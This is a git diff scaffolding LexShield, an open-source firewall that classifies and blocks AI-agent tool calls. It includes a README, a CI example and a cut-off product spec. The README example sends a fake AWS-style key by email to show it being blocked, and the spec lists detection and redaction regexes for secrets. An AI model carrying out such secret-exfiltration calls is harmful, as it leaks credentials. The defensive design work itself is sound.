diff --git a/.github/workflows/lexshield-check.example.yml b/.github/workflows/lexshield-check.example.yml new file mode 100644 index 0000000..44d353f --- /dev/null +++ b/.github/workflows/lexshield-check.example.yml @@ -0,0 +1,49 @@ +# Example workflow: validate policy packs in CI. +# Copy to .github/workflows/lexshield-check.yml once the CLI is published. + +name: LexShield Policy Check + +on: + push: + branches: [main] + paths: + - "packs/**" + - "schemas/**" + - "lexshield.yaml" + - "policy.yaml" + - "rules.yaml" + pull_request: + paths: + - "packs/**" + - "schemas/**" + - "lexshield.yaml" + - "policy.yaml" + - "rules.yaml" + +jobs: + lexshield-check: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.11" + + - name: Install LexShield CLI + run: pip install lexshield + + - name: Validate shipped policy packs + run: | + for pack in baseline-deny pii-guard change-window; do + echo "Checking pack: $pack" + lexshield check \ + --policy "packs/${pack}/policy.yaml" \ + --rules "packs/${pack}/rules.yaml" \ + --strict + done + + - name: Validate root policy (if present) + if: hashFiles('lexshield.yaml') != '' + run: lexshield check --strict diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3352b5a --- /dev/null +++ b/.gitignore @@ -0,0 +1,72 @@ +# LexShield local state +.lexshield/ +traces.ndjson + +# Accidental init at repo root during development +/lexshield.yaml +/policy.yaml +/rules.yaml + +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +.venv/ +venv/ +ENV/ +env/ +*.egg-info/ +.eggs/ +dist/ +build/ +*.egg +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ +.coverage +htmlcov/ +.tox/ +.nox/ +pip-wheel-metadata/ +*.manifest +*.spec + +# uv +.uv/ +uv.lock + +# Node / pnpm +node_modules/ +.pnpm-store/ +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +*.tsbuildinfo + +# Build outputs +dist/ +out/ +lib/ +coverage/ + +# IDE / OS +.idea/ +.vscode/ +*.swp +*.swo +*~ +.DS_Store +Thumbs.db + +# Environment +.env +.env.* +!.env.example + +# Test / tooling artifacts +.hypothesis/ +.pytest_cache/ +vitest.config.ts.timestamp-* diff --git a/.python-version b/.python-version new file mode 100644 index 0000000..2c07333 --- /dev/null +++ b/.python-version @@ -0,0 +1 @@ +3.11 diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..84fb305 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 LatticeAG + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/NOTICE b/NOTICE new file mode 100644 index 0000000..1f4f71a --- /dev/null +++ b/NOTICE @@ -0,0 +1,6 @@ +LexShield +Copyright (c) 2026 LatticeAG + +This product includes software developed by LatticeAG (https://latticeag.com). + +LexShield is distributed under the MIT License. See LICENSE for the full text. diff --git a/README.md b/README.md new file mode 100644 index 0000000..6b57505 --- /dev/null +++ b/README.md @@ -0,0 +1,64 @@ +# LexShield + +**The open-source policy firewall for agent tool calls.** + +LexShield sits between an AI agent and its tool fleet, classifies the intent behind each tool call, and enforces allow/block/challenge policy **before** execution. Fully local-first — no SaaS required. + +- **License**: MIT +- **Publisher**: [LatticeAG](https://latticeag.com) +- **Specification**: see [SPEC.md](./SPEC.md) for product scope, APIs, and v0.1 feature freeze + +## Quickstart (5 minutes, deterministic-only) + +No API key required for the deterministic path. + +```bash +# Install (PyPI — coming soon) +pip install lexshield + +# Scaffold config + baseline policy pack +lexshield init --pack baseline-deny + +# Validate policy +lexshield check + +# Evaluate a tool call offline +lexshield evaluate --tool send_email --args '{"to":"user@example.com","body":"AKIA0123456789012345"}' --json +# → BLOCK (security.secret_exposure) + +# Allow a health check +lexshield evaluate --tool health_check --args '{}' --json +# → ALLOW +``` + +### Path outline + +1. **Install** — `pip install lexshield` (Python SDK + CLI) +2. **Init** — `lexshield init` writes `lexshield.yaml`, `policy.yaml`, `rules.yaml` +3. **Check** — `lexshield check` validates policy in CI (exit non-zero on errors) +4. **Evaluate** — `lexshield evaluate` or `Shield.guard` decorator before tool execution +5. **Trace** — verdicts append to `traces.ndjson` for audit + +For TypeScript: `npm install @latticeag/lexshield` (evaluate + guard parity). + +## Monorepo layout + +| Package | Path | Role | +|---------|------|------| +| Python engine | `packages/engine-py` | Policy engine, classifiers (source of truth) | +| Python CLI | `packages/cli` | `lexshield` Typer CLI | +| TypeScript SDK | `packages/engine-ts` | `@latticeag/lexshield` evaluate/guard | + +## Development + +```bash +# Python (uv workspace) +uv sync +uv run pytest + +# TypeScript (pnpm workspace) +pnpm install +pnpm -r test +``` + +See [SPEC.md](./SPEC.md) for architecture, policy language, intent taxonomy, and acceptance criteria. diff --git a/SPEC.md b/SPEC.md index b380882..fbd9acd 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1,10 +1,12 @@ # LexShield — Product & Engineering Specification -> **Status**: Planning (v0.2 — expanded) +> **Status**: Planning (v0.5 — v0.1 implementation spec) > **Owner**: LatticeAG -> **License (OSS)**: MIT -> **SaaS**: LexShield Cloud (invite-only), hosted by LatticeAG -> **This document is the source of truth for build decisions until replaced by ADRs.** +> **License**: MIT +> **First build**: **Open-source only** (CLI + SDKs + engine). No SaaS. +> **Deferred**: LexShield Cloud (hosted control plane) — post-MVP, only after OSS is solid. +> **This document is the source of truth for build decisions until replaced by ADRs.** +> **Ship list**: [§9 v0.1 Feature Freeze](#9-v01-feature-freeze-specific) · **Build bible**: [§9B OSS v0.1 Implementation](#9b-oss-v01-implementation-specification-detailed) · **Build readiness**: [§36](#36-build-readiness) --- @@ -18,36 +20,39 @@ 6. [Core Concepts & Glossary](#6-core-concepts--glossary) 7. [Success Metrics](#7-success-metrics) 8. [Scope: Goals, Non-Goals, and Phasing](#8-scope-goals-non-goals-and-phasing) -9. [Intent Taxonomy](#9-intent-taxonomy) -10. [Classifier Architecture](#10-classifier-architecture) -11. [Policy Language & Engine](#11-policy-language--engine) -12. [Verdicts, Challenges & Human-in-the-Loop](#12-verdicts-challenges--human-in-the-loop) -13. [Execution Interception & Integration Modes](#13-execution-interception--integration-modes) -14. [SDKs (Python & TypeScript)](#14-sdks-python--typescript) -15. [CLI Surface](#15-cli-surface) -16. [Local API & Proxy](#16-local-api--proxy) -17. [LexShield Cloud](#17-lexshield-cloud) -18. [Data Model](#18-data-model) -19. [Configuration Schema](#19-configuration-schema) -20. [Architecture & Request Pipeline](#20-architecture--request-pipeline) -21. [Performance, Caching & Reliability](#21-performance-caching--reliability) -22. [Security & Threat Model](#22-security--threat-model) -23. [Privacy, Compliance & Data Handling](#23-privacy-compliance--data-handling) -24. [Observability & Audit](#24-observability--audit) -25. [Error Handling & Failure Modes](#25-error-handling--failure-modes) -26. [Testing Strategy](#26-testing-strategy) -27. [Repository & Monorepo Layout](#27-repository--monorepo-layout) -28. [Tech Stack Recommendations](#28-tech-stack-recommendations) -29. [Developer Experience & Documentation](#29-developer-experience--documentation) -30. [Dashboard UX (Cloud)](#30-dashboard-ux-cloud) -31. [Pricing, Packaging & Go-to-Market](#31-pricing-packaging--go-to-market) -32. [MVP Milestones (6-Day Build)](#32-mvp-milestones-6-day-build) +9. [v0.1 Feature Freeze (Specific)](#9-v01-feature-freeze-specific) +9B. [OSS v0.1 Implementation Specification (Detailed)](#9b-oss-v01-implementation-specification-detailed) +10. [Intent Taxonomy](#10-intent-taxonomy) +11. [Classifier Architecture](#11-classifier-architecture) +12. [Policy Language & Engine](#12-policy-language--engine) +13. [Verdicts, Challenges & Human-in-the-Loop](#13-verdicts-challenges--human-in-the-loop) +14. [Execution Interception & Integration Modes](#14-execution-interception--integration-modes) +15. [SDKs (Python & TypeScript)](#15-sdks-python--typescript) +16. [CLI Surface](#16-cli-surface) +17. [Local API & Proxy](#17-local-api--proxy) +18. [Deferred: LexShield Cloud](#18-deferred-lexshield-cloud) +19. [Data Model](#19-data-model) +20. [Configuration Schema](#20-configuration-schema) +21. [Architecture & Request Pipeline](#21-architecture--request-pipeline) +22. [Performance, Caching & Reliability](#22-performance-caching--reliability) +23. [Security & Threat Model](#23-security--threat-model) +24. [Privacy, Compliance & Data Handling](#24-privacy-compliance--data-handling) +25. [Observability & Audit](#25-observability--audit) +26. [Error Handling & Failure Modes](#26-error-handling--failure-modes) +27. [Testing Strategy](#27-testing-strategy) +28. [Repository & Monorepo Layout](#28-repository--monorepo-layout) +29. [Tech Stack Recommendations](#29-tech-stack-recommendations) +30. [Developer Experience & Documentation](#30-developer-experience--documentation) +31. [Go-to-Market (OSS)](#31-go-to-market-oss) +32. [MVP Milestones (OSS First Build)](#32-mvp-milestones-oss-first-build) 33. [Post-MVP Roadmap](#33-post-mvp-roadmap) 34. [Open Questions (with Recommendations)](#34-open-questions-with-recommendations) 35. [Decision Log](#35-decision-log) -36. [Appendix A — Example Policy Packs](#appendix-a--example-policy-packs) -37. [Appendix B — Built-in Intent Catalog (MVP)](#appendix-b--built-in-intent-catalog-mvp) -38. [Appendix C — Trace Event Schema](#appendix-c--trace-event-schema) +36. [Build Readiness](#36-build-readiness) +37. [Appendix A — Example Policy Packs](#appendix-a--example-policy-packs) +38. [Appendix B — Built-in Intent Catalog (v0.1)](#appendix-b--built-in-intent-catalog-v01) +39. [Appendix C — Trace Event Schema](#appendix-c--trace-event-schema) +40. [Appendix D — v0.1 Acceptance Checklist](#appendix-d--v01-acceptance-checklist) --- @@ -57,17 +62,19 @@ Existing auth layers (RBAC, OAuth scopes, API keys) authorize *who* can call a tool. They do not understand *why* an agent is calling it in natural-language context. LexShield closes that gap. -**Recommendation — product shape (confident):** +**Recommendation — product shape for first build (locked):** -| Layer | Form | Why | -|-------|------|-----| -| Core engine | Open-source library + CLI (MIT) | Trust, adoption, auditability, community | -| SDKs | Python first, TypeScript second | Matches agent ecosystem gravity | -| Hosted control plane | Invite-only SaaS (LexShield Cloud) | Policy distribution, retention, multi-team, alerts | -| Hosting | Cloudflare Workers + Durable Objects + D1/R2 | Edge latency, low ops, fits LatticeAG stack | +| Layer | Form | First build? | +|-------|------|--------------| +| Core engine | Open-source library + CLI (MIT) | **Yes** | +| SDKs | Python first, TypeScript second | **Yes** | +| Policy packs + examples | Shipped in repo | **Yes** | +| Hosted SaaS (LexShield Cloud) | Future control plane | **No — deferred** | -**One-line positioning:** -*"The policy firewall for agent tool calls — open source for transparency, cloud for control."* +**One-line positioning (OSS launch):** +*"The open-source policy firewall for agent tool calls."* + +Cloud / paid control plane is a **later** option if users ask for hosted policy distribution, long-term trace retention, and multi-team controls. It is **out of scope for the first build**. --- @@ -126,10 +133,10 @@ Tool names are necessary but not sufficient (`http_request` can mean health-chec ``` Local CLI eval → SDK wrap in one tool → Policy in repo + CI check - → Proxy for multi-language agents → Cloud for policy publish + traces + → Proxy for multi-language agents → (later) optional Cloud ``` -Do **not** require Cloud signup for first value. Local-first is non-negotiable for OSS trust. +First value is fully offline. No account, no hosted dependency. --- @@ -148,9 +155,9 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f 3. **Explainable verdicts** — every decision includes matched rule id, reason string, and classifications. 4. **Fast path first** — deterministic classifiers before LLM; never require LLM for ALLOW of known-safe patterns if policy author opts in. 5. **Fail closed on uncertainty (configurable)** — when classifiers disagree or confidence is low, default to `BLOCK` or `CHALLENGE`, not `ALLOW`. -6. **OSS is the product; Cloud is the control plane** — engine parity: Cloud must not be required for correctness. +6. **OSS is the product** — the first build is MIT open source only; no hosted dependency for correctness or usefulness. 7. **No credential custody** — LexShield does not store tool secrets. -8. **Policy as code** — policies live in git; Cloud versions them; CI validates them. +8. **Policy as code** — policies live in git; CI validates them with `lexshield check`. 9. **Honest limits** — document that classification is probabilistic; LexShield reduces risk, does not eliminate adversarial risk. ### 4.3 Brand / Naming @@ -159,7 +166,7 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f |------|-----| | LexShield | Product, CLI (`lexshield`), Python package `lexshield` | | `@latticeag/lexshield` | TypeScript package | -| LexShield Cloud | Hosted SaaS | +| LexShield Cloud | **Deferred** hosted SaaS — not in first build | | LatticeAG | Company / publisher | **Recommendation**: Keep CLI binary name `lexshield` (no hyphens). Config file `lexshield.yaml`. Policy file default `policy.yaml`. @@ -174,7 +181,7 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f | Agent frameworks’ callbacks | LangChain callbacks, custom middleware | Ad hoc; no policy language or audit product | | API gateways | Kong, Cloudflare API Shield | No NL intent; not agent-context aware | | Identity / IAM | OAuth scopes, Cedar, OPA | Powerful policy, weak agent-intent signal | -| Emerging agent security | Guardrails.ai, Portkey, custom wrappers | Overlap possible; LexShield differentiates on **intent taxonomy + policy firewall + OSS/Cloud split** | +| Emerging agent security | Guardrails.ai, Portkey, custom wrappers | Overlap possible; LexShield differentiates on **intent taxonomy + policy firewall + local-first OSS** | **Recommendation**: Position against “OPA for agent tool calls” + “intent classification layer,” not against general LLM safety. @@ -183,7 +190,7 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f 1. First-class **intent** object in the policy model 2. Multi-stage classifier pipeline with deterministic primacy 3. `CHALLENGE` / `DEFER` as first-class verdicts (HITL) -4. OSS engine with identical evaluation semantics in Cloud +4. Fully local, auditable OSS engine with policy-as-code DX --- @@ -199,7 +206,7 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f | **Verdict** | `ALLOW` \| `BLOCK` \| `CHALLENGE` \| `DEFER` with reasoning. | | **Trace** | Immutable record of request → classification → verdict → outcome. | | **Classifier** | Component that maps signals → ranked intents + confidence. | -| **Sink** | Trace destination (stdout, file, OTLP, HTTP, SaaS). | +| **Sink** | Trace destination (stdout, file, OTLP, HTTP). | | **Caller** | Authenticated identity of the agent/user/service making the call (asserted by the host app). | | **Challenge** | Human approval gate before execution. | | **Defer** | Async review path; execution withheld until resolved (or timed out → fail closed). | @@ -210,15 +217,14 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f ## 7. Success Metrics -### 7.1 Product / Business (Cloud + OSS) +### 7.1 Product / OSS | Metric | MVP target | Notes | |--------|------------|-------| | Time-to-first-eval | < 5 minutes from `pip install` / `npm i` | Include sample policy | -| OSS weekly evals (telemetry opt-in) | Track after M4 | Anonymous, off by default | -| Cloud waitlist → activated orgs | Conversion tracked | Invite-only | -| False-block rate (customer-reported) | Qualitative in MVP | Instrument later | -| p99 evaluate latency (deterministic path) | < 5 ms local | See perf section | +| `lexshield check` in CI | Documented GitHub Action example | Exit non-zero on bad policy | +| Golden fixture count | ≥ 50 scenarios | Py/TS parity | +| Stars / design-partner installs | Qualitative early | Track manually | ### 7.2 Engineering Quality @@ -238,42 +244,1025 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f ## 8. Scope: Goals, Non-Goals, and Phasing -### 8.1 MVP Goals (in-scope) +### 8.1 MVP Goals (in-scope) — OSS only - YAML/JSON policy engine with rule priority, default-deny, CEL-lite expressions - Deterministic classifier + LLM classifier (OpenAI-compatible) - Python SDK (`@shield.guard`, `evaluate`) - Local HTTP API + proxy execute mode -- CLI: `init`, `check`, `run`, `evaluate`, `traces` -- NDJSON + stdout sinks; OpenTelemetry hooks (basic) +- CLI: `init`, `check`, `run`, `evaluate`, `traces`, `challenge` +- NDJSON + stdout + optional OTLP/HTTP sinks - TypeScript SDK parity for `evaluate` + config load -- Cloud scaffold: orgs, policy CRUD/publish, trace ingest, invite gate - Built-in intent catalog (~25–40 intents) + 2–3 policy packs +- Docs: quickstart, policy guide, security model, examples +- Local challenge queue (CLI approve/deny) -### 8.2 Explicit Non-Goals (MVP) +### 8.2 Explicit Non-Goals (first build) +- **Any SaaS / LexShield Cloud** (dashboard, hosted policies, invite flow, billing) - Generic API gateway features (LB, primary rate limiting product, request rewrite) - Being an agent / planner / workflow engine - Secrets management / vault - Replacing HITL for high-stakes actions (we formalize it) - Mobile apps, browser extensions, consumer clients -- Full multi-region active-active (region *selection* can be stubbed) - Guaranteed prompt-injection immunity - Training proprietary foundation models -- In-core LangChain/OpenAI Agents adapters (contrib post-MVP; see decisions) +- In-core LangChain/OpenAI Agents adapters (contrib later) +- SSO, multi-tenant org management, cloud alerts -### 8.3 Soft Non-Goals (post-MVP candidates) +### 8.3 Soft Non-Goals (post-OSS-MVP candidates) +- LexShield Cloud (hosted control plane) - Local embedding models as default - Full Cedar / Rego interop -- Native WASM edge plugin for third-party gateways +- Framework adapters in `contrib/` - SIEM connectors beyond OTLP/webhook --- -## 9. Intent Taxonomy +## 9. v0.1 Feature Freeze (Specific) + +> This is the **authoritative ship list** for tag `v0.1.0`. +> If it is not listed here as **IN**, it is **OUT** of v0.1 — even if mentioned elsewhere as future work. + +### 9.1 Product promise (one sentence) + +Install LexShield, wrap a tool (or hit `/evaluate`), load a YAML policy, and get an explainable `ALLOW` / `BLOCK` / `CHALLENGE` before the tool runs — fully offline except optional LLM classify. + +### 9.2 IN — must ship in v0.1.0 + +#### A. Core engine (Python — source of truth) + +| Feature | Exact behavior | +|---------|----------------| +| Policy load | Parse `policy.yaml` (YAML 1.2) + JSON equivalent; reject unknown fields in strict mode (`lexshield check --strict`) | +| Default deny | `defaultVerdict: BLOCK` required in shipped packs; engine allows override but `check` warns if `ALLOW` | +| Rule match | AND across match fields; OR within list fields; tool globs (`send_*`, `db.*`) | +| Priority | Highest `priority` number wins among matching rules; tie-break: lexicographic `rule.id` ascending | +| Verdicts | `ALLOW`, `BLOCK`, `CHALLENGE`, `DEFER` all implemented in engine | +| Expressions | Safe subset only — see §9.5; compile at load; no runtime `eval` | +| Deterministic classifier | `tool_map` + `patterns` (`any_arg_regex`, `arg_regex:`) from `rules.yaml` | +| LLM classifier | OpenAI-compatible chat + JSON object response; default model `gpt-4o-mini`; timeout **2000ms**; skipped if no API key and config marks llm optional | +| Classifier order | Deterministic first; if confidence ≥ **0.90**, skip LLM; else run LLM and merge | +| Conflict bias | On disagreement, pick **higher severity** intent as primary; keep both in `classifications[]` | +| Redaction | Before LLM + before trace write: AWS keys, `sk-`/`sk-proj-` tokens, Bearer tokens, emails optional flag; default ON for secrets, emails hashed in traces | +| Fail closed | Classifier total failure with no deterministic hit → `unknown.unclassified` → apply policy (usually BLOCK) | +| Fingerprint cache | Deterministic-only results cached 60s; **disabled** when `context.messages` or `priorCalls` present | +| Traces | Append NDJSON; never block evaluate > buffered write | +| Challenges | Local store under `.lexshield/challenges/` (or config path); approve/deny via CLI/API; timeout → `onTimeout` (default BLOCK) | + +#### B. Python SDK (`lexshield` on PyPI) + +| API | Spec | +|-----|------| +| `Shield.from_config(path)` | Load yaml; validate; compile policy | +| `await shield.evaluate(...)` | Returns `Verdict`; never executes tool | +| `@shield.guard` / `@shield.guard(tool="name")` | Wraps async fn; sync wrapper via `shield.guard_sync` also shipped | +| `shield.session(conversation_id=..., environment=..., tags=...)` | contextvars for nested calls | +| `await shield.record_outcome(request_id, outcome)` | Updates last trace line / side index | +| Errors | `LexShieldBlockedError`, `LexShieldChallengeError`, `LexShieldConfigError` — all carry `verdict` / `request_id` | + +**Decorator defaults (locked):** + +- On `BLOCK` → raise `LexShieldBlockedError` +- On `CHALLENGE` → raise `LexShieldChallengeError` (do **not** await approval) +- Opt-in: `@shield.guard(await_challenge=True)` waits until approve/deny/timeout + +#### C. Local HTTP API (FastAPI) + +Ship exactly these routes: + +| Method | Path | Notes | +|--------|------|-------| +| `POST` | `/v1/shields/{shield_id}/evaluate` | body = ToolCallRequest (id optional → ULID) | +| `POST` | `/v1/shields/{shield_id}/execute` | evaluate + forward iff ALLOW + upstream configured | +| `GET` | `/v1/shields/{shield_id}/policy` | compiled policy JSON | +| `POST` | `/v1/shields/{shield_id}/policy/reload` | hot reload; keep old on failure | +| `GET` | `/v1/traces` | `?decision=&tool=&intent=&limit=&offset=` | +| `GET` | `/v1/challenges` | open challenges | +| `POST` | `/v1/challenges/{id}/resolve` | `{ "decision": "approve"\|"deny", "actor": "..." }` | +| `GET` | `/healthz` | liveness | +| `GET` | `/readyz` | policy loaded | + +Defaults: host `127.0.0.1`, port `8787`. If `LEXSHIELD_LOCAL_TOKEN` set → require Bearer token. + +#### D. Proxy execute (v0.1) + +- Only tools listed under `shield.proxy.upstreams` may be forwarded +- Adds headers `X-LexShield-Request-Id`, `X-LexShield-Verdict` +- BLOCK/CHALLENGE/DEFER → **HTTP 403** + JSON error body (no 202 in v0.1) +- Upstream timeout default **5000ms** + +#### E. CLI (`lexshield`) + +| Command | Must do | +|---------|---------| +| `lexshield init [--pack baseline-deny\|pii-guard\|change-window]` | Write `lexshield.yaml`, `policy.yaml`, `rules.yaml`, `.gitignore` entries for traces/challenges | +| `lexshield check [--strict]` | Exit 0/1; print rule count, intent refs, warnings | +| `lexshield run [--host 127.0.0.1] [--port 8787]` | Start API; refuse `0.0.0.0` unless `--i-understand-bind-all` | +| `lexshield evaluate --tool T --args '{}' [--caller ...] [-c config]` | Print verdict; `--json` for machine output | +| `lexshield evaluate --stdin` | Read ToolCallRequest JSON | +| `lexshield traces list [--decision BLOCK] [--limit 50]` | Read NDJSON | +| `lexshield traces show ` | One trace | +| `lexshield challenge list` | Open challenges | +| `lexshield challenge approve ` / `deny ` | Resolve | +| `lexshield packs list` / `packs apply ` | Copy pack files into cwd | +| `lexshield version` | Semver + git sha if available | + +#### F. TypeScript SDK (`@latticeag/lexshield`) + +**v0.1 parity (required):** + +- `Shield.fromConfig` / `evaluate` / `guard` for async functions +- Same verdict JSON shape as Python +- Golden fixtures: **100% identical decisions** on `fixtures/golden/**` + +**v0.1 not required in TS:** CLI, FastAPI server, challenge file store (TS may call local HTTP API for challenges). + +#### G. Built-in content + +| Asset | Exact v0.1 set | +|-------|----------------| +| Intents | **24** locked in Appendix B (no more, no fewer for v0.1 tag) | +| Packs | `baseline-deny`, `pii-guard`, `change-window` — full YAML in Appendix A | +| Examples | `examples/python-block-exfil`, `examples/python-challenge-delete`, `examples/ts-evaluate` | +| Schemas | JSON Schema for Policy, ToolCallRequest, Verdict, Trace | +| CI example | `.github/workflows/lexshield-check.example.yml` | + +#### H. Docs (required pages) + +1. README quickstart (≤5 minutes, deterministic-only path) +2. `docs/policy.md` — authoring + priority + expressions +3. `docs/intents.md` — catalog + severity +4. `docs/sdk-python.md` / `docs/sdk-typescript.md` +5. `docs/security.md` — threat model + honest limits +6. `docs/cli.md` + +### 9.3 OUT — explicitly cut from v0.1 + +Do **not** build these even if “easy”: + +- LexShield Cloud, login, policy push/pull, saas sink +- Embedding classifier (interface stub OK, no model) +- Framework adapters (LangChain, OpenAI Agents, CrewAI, Vercel AI SDK) +- Slack / email challenge channels (webhook + stdout only) +- Full CEL / OPA / Cedar +- Rate limiting product, quotas, anomaly ML +- Web dashboard / policy UI +- Telemetry phone-home (even opt-in — defer to v0.2) +- Sync multi-region anything +- Argument mutation / rewriting tool calls +- Streaming tool responses through proxy +- DEFER resolution UI (engine accepts `DEFER`; CLI only lists; no separate defer workflow beyond challenge-like timeout) +- Windows-first packaging quirks beyond “should work on Win/Mac/Linux” best effort + +### 9.4 v0.1 “wow” demos (ship as runnable examples) + +These three demos define the product story. Each must run with **deterministic classifier only** (no API key): + +1. **Block exfil** — `send_email` with AWS key in body → `security.secret_exposure` → `BLOCK` +2. **Challenge delete** — `delete_resource` in `environment=production` → `CHALLENGE` → CLI approve → re-evaluate/execute path documented +3. **Allow health** — `health_check` → `ALLOW` under default-deny policy + +LLM demo (optional fourth, docs-only): same exfil without secret pattern, LLM suggests `data.exfiltrate` — cassette-tested, not required for quickstart. + +### 9.5 Expression language (frozen subset) + +**Allowed:** + +``` +intent, confidence, tool.name, tool.namespace, +caller.id, caller.type, caller.roles, +env, tags., args. +``` + +**Operators:** `== != > >= < <= && || !` · `in` (list) · `startsWith` · `contains` · `matches` (RE2-ish subset) + +**Disallow:** function calls beyond above, attribute chaining loops, imports, side effects. + +Example: + +```yaml +expression: 'env == "production" && confidence >= 0.7 && args.to contains "@gmail.com"' +``` + +### 9.6 Redaction rules (frozen defaults) + +| Pattern | Replacement | +|---------|-------------| +| `AKIA[0-9A-Z]{16}` | `[REDACTED_AWS_KEY]` | +| `sk-[a-zA-Z0-9]{20,}` / `sk-proj-[...]` | `[REDACTED_API_KEY]` | +| `Bearer [A-Za-z0-9._\-]+` | `Bearer [REDACTED]` | +| `(?i)password\s*[:=]\s*\S+` | `password=[REDACTED]` | + +Config: `redact.emails: hash | redact | off` — default **`hash`** (sha256 prefix) in traces; **`redact`** when sending to LLM. + +### 9.7 Error JSON (frozen) + +Agent/HTTP facing body: + +```json +{ + "error": "lexshield_blocked", + "verdict": "BLOCK", + "reason": "Possible secret exposure in tool arguments", + "request_id": "01J...", + "matched_rule_id": "block-secret-exposure", + "retryable": false +} +``` + +`error` enum: `lexshield_blocked` | `lexshield_challenged` | `lexshield_deferred` | `lexshield_config` | `lexshield_upstream`. + +Config `expose_rule_ids: true` default in v0.1 (devs need it); document how to set `false` for prod agent-facing surfaces. + +### 9.8 Performance budgets (v0.1 gate) + +| Path | Gate | +|------|------| +| Deterministic evaluate (no LLM) | p99 < **5ms** on laptop-class CI runner for 100-rule policy | +| Policy load + compile | < **100ms** for packs shipped | +| LLM path | timeout hard-stop **2000ms**; not a p99 gate | + +### 9.9 Release artifacts + +- PyPI: `lexshield==0.1.0` +- npm: `@latticeag/lexshield@0.1.0` +- GitHub release notes + checksums for sdist/wheel +- `LICENSE` MIT + `NOTICE` (LatticeAG) + +### 9.10 Suggested cut order if timeboxed + +If scope must shrink further, cut in this order (keep product coherent): + +1. Keep: engine + Py SDK + CLI `check/evaluate` + baseline pack + exfil demo +2. Then: local API + traces +3. Then: challenges +4. Then: TS SDK + proxy +5. Then: other packs + LLM classifier + +**Never cut:** default-deny, explainable verdicts, redaction, golden fixtures. + +--- + +## 9B. OSS v0.1 Implementation Specification (Detailed) + +> **Authoritative build bible** for the OSS-only `v0.1.0` tag. +> Implements [§9 Feature Freeze](#9-v01-feature-freeze-specific) with file-level precision. +> **No LexShield Cloud, no SaaS, no phone-home.** Python engine is source of truth; TypeScript must match golden fixtures bit-for-bit on `decision`, `matchedRuleId`, `reason`, and `primaryIntent`. + +### 9B.1 Module map + +Exact paths under the monorepo. One-line responsibility each. Stubs may exist at scaffold time; v0.1 ships full behavior. + +#### `packages/engine-py` (Python engine + SDK + FastAPI — source of truth) + +| Path | Responsibility | +|------|----------------| +| `packages/engine-py/pyproject.toml` | Package metadata; depends on `pydantic`, `httpx`, `ulid-py`, `pyyaml`, `fastapi`, `uvicorn` | +| `packages/engine-py/src/lexshield/__init__.py` | Public exports: `Shield`, exceptions, `__version__` | +| `packages/engine-py/src/lexshield/version.py` | Semver string + optional git SHA | +| `packages/engine-py/src/lexshield/models.py` | Pydantic v2 models matching §19 (`Policy`, `Verdict`, `ToolCallRequest`, …) | +| `packages/engine-py/src/lexshield/errors.py` | `LexShieldBlockedError`, `LexShieldChallengeError`, `LexShieldConfigError` | +| `packages/engine-py/src/lexshield/config/loader.py` | Parse `lexshield.yaml`; resolve relative paths; validate classifier/sink shapes | +| `packages/engine-py/src/lexshield/shield.py` | `Shield.from_config`, `evaluate`, `guard`/`guard_sync`, `session`, `record_outcome` | +| `packages/engine-py/src/lexshield/policy/loader.py` | Load `policy.yaml`; strict unknown-field rejection; compile expressions + globs | +| `packages/engine-py/src/lexshield/policy/engine.py` | `PolicyEngine.evaluate()` — rule match, priority, default verdict | +| `packages/engine-py/src/lexshield/policy/expressions.py` | Safe expression lexer/parser/evaluator (§9.5 subset) | +| `packages/engine-py/src/lexshield/policy/glob.py` | `fnmatch` tool-name glob matcher (`*` only) | +| `packages/engine-py/src/lexshield/classifiers/deterministic.py` | `rules.yaml` tool_map + pattern regex classification | +| `packages/engine-py/src/lexshield/classifiers/llm.py` | OpenAI-compatible JSON classify; redact args; 2000ms timeout | +| `packages/engine-py/src/lexshield/classifiers/pipeline.py` | Deterministic → LLM merge; skip LLM at ≥ 0.90 det confidence | +| `packages/engine-py/src/lexshield/classifiers/severity.py` | Built-in intent severity table (Appendix B); merge on conflict | +| `packages/engine-py/src/lexshield/taxonomy/builtin.py` | Frozen 24-intent catalog + severity ranks | +| `packages/engine-py/src/lexshield/redaction.py` | Secret/email redaction before LLM + trace write (§9.6) | +| `packages/engine-py/src/lexshield/traces/sink.py` | NDJSON append + stdout sink; async buffered write | +| `packages/engine-py/src/lexshield/challenges/store.py` | Local challenge CRUD under `.lexshield/challenges/` | +| `packages/engine-py/src/lexshield/server/app.py` | FastAPI routes per §9.C; 403 error body per §9.7 | +| `packages/engine-py/src/lexshield/server/proxy.py` | Upstream forward for `/execute` when ALLOW | +| `packages/engine-py/tests/test_policy_engine.py` | Unit tests: match fields, priority, expressions, globs | +| `packages/engine-py/tests/test_golden.py` | Golden fixture runner over `fixtures/golden/**` | +| `packages/engine-py/tests/test_redaction.py` | 